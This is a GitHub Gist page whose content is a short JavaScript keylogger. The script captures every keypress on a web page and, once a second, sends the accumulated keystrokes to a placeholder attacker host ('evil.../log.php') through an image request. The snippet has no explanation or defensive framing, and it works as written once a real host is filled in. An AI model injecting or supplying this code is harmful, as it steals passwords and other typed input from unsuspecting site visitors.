Created
December 2, 2019 20:33
-
-
Save stevermeister/fdd2a7dc2f03e00f6c18fe73a4e9ec22 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
var keys=''; | |
document.onkeypress = function(e) { | |
e = window.event?event:e; | |
key = e.keyCode?e.keyCode:e.charCode; | |
key = String.fromCharCode(key); | |
keys+=key; | |
} | |
window.setInterval(function(){ | |
new Image().src = 'http://evil.../log.php?c='+keys; | |
keys = ''; | |
}, 1000); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment